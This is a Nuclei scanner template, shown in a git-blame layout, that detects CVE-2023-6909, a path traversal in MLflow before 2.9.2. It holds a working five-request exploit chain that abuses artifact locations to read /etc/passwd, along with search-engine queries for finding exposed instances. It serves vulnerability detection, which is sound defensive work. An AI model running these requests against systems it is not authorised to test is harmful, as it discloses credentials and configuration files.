2024-02-02 10:20:55 +00:00
|
|
|
id: CVE-2023-6909
|
|
|
|
|
|
|
|
info:
|
2024-02-02 16:58:16 +00:00
|
|
|
name: Mlflow <2.9.2 - Path Traversal
|
2024-02-02 10:20:55 +00:00
|
|
|
author: Hyunsoo-ds
|
2024-03-23 09:28:19 +00:00
|
|
|
severity: high
|
2024-02-02 10:20:55 +00:00
|
|
|
description: |
|
2024-02-02 16:58:16 +00:00
|
|
|
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
|
2024-03-04 08:20:22 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
|
|
|
|
remediation: |
|
|
|
|
To fix this vulnerability, it is important to update the mlflow package to the latest version 2.10.0.
|
2024-03-23 09:28:19 +00:00
|
|
|
reference:
|
|
|
|
- https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-6909
|
|
|
|
- https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
|
2024-02-02 10:20:55 +00:00
|
|
|
classification:
|
2024-03-23 09:28:19 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
2024-02-02 10:20:55 +00:00
|
|
|
cve-id: CVE-2023-6909
|
|
|
|
cwe-id: CWE-29
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.00494
|
|
|
|
epss-percentile: 0.76167
|
2024-03-23 09:28:19 +00:00
|
|
|
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
|
2024-02-02 10:20:55 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2024-03-23 09:28:19 +00:00
|
|
|
max-request: 5
|
2024-02-02 10:20:55 +00:00
|
|
|
vendor: lfprojects
|
|
|
|
product: mlflow
|
2024-03-04 08:20:22 +00:00
|
|
|
shodan-query: "http.title:\"mlflow\""
|
2024-05-31 19:23:20 +00:00
|
|
|
fofa-query: title="mlflow"
|
|
|
|
google-query: intitle:"mlflow"
|
2024-04-08 11:34:33 +00:00
|
|
|
tags: cve,cve2023,mlflow,lfi,intrusive
|
2024-02-02 10:20:55 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
2024-02-02 16:58:16 +00:00
|
|
|
- |
|
|
|
|
POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
{"name" : "{{randstr}}", "artifact_location": "http:///?/../../../../../../../../../../../../../../etc/"}
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /api/2.0/mlflow/runs/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2024-02-02 10:20:55 +00:00
|
|
|
|
2024-02-02 16:58:16 +00:00
|
|
|
{"experiment_id": "{{EXPERIMENT_ID}}"}
|
2024-02-02 10:20:55 +00:00
|
|
|
|
2024-02-02 16:58:16 +00:00
|
|
|
- |
|
|
|
|
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2024-02-02 10:20:55 +00:00
|
|
|
|
2024-02-02 16:58:16 +00:00
|
|
|
{"name": "{{randstr}}"}
|
2024-02-02 10:20:55 +00:00
|
|
|
|
2024-02-02 16:58:16 +00:00
|
|
|
- |
|
|
|
|
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2024-02-02 10:20:55 +00:00
|
|
|
|
2024-02-02 16:58:16 +00:00
|
|
|
{"name" : "{{randstr}}", "run_id": "{{RUN_ID}}", "source" : "file:///etc/"}
|
2024-02-02 10:20:55 +00:00
|
|
|
|
2024-02-02 16:58:16 +00:00
|
|
|
- |
|
|
|
|
GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2024-02-02 10:20:55 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header_5
|
|
|
|
words:
|
|
|
|
- "filename=passwd"
|
|
|
|
- "application/octet-stream"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: json
|
|
|
|
part: body_1
|
|
|
|
name: EXPERIMENT_ID
|
|
|
|
group: 1
|
|
|
|
json:
|
|
|
|
- '.experiment_id'
|
|
|
|
internal: true
|
|
|
|
|
|
|
|
- type: json
|
|
|
|
part: body_2
|
|
|
|
name: RUN_ID
|
|
|
|
group: 1
|
|
|
|
json:
|
|
|
|
- '.run.info.run_id'
|
|
|
|
internal: true
|
2024-06-01 06:53:00 +00:00
|
|
|
# digest: 490a00463044022052a30b6e907e294f038966261bdad72af7c17267badac02e788613b04753c2b1022066fc365a76fb0d47be05eaa43ae50f697ff46da97e01b7164ee6a67634a8f687:922c64590222798bb761d5b6d8e72950
|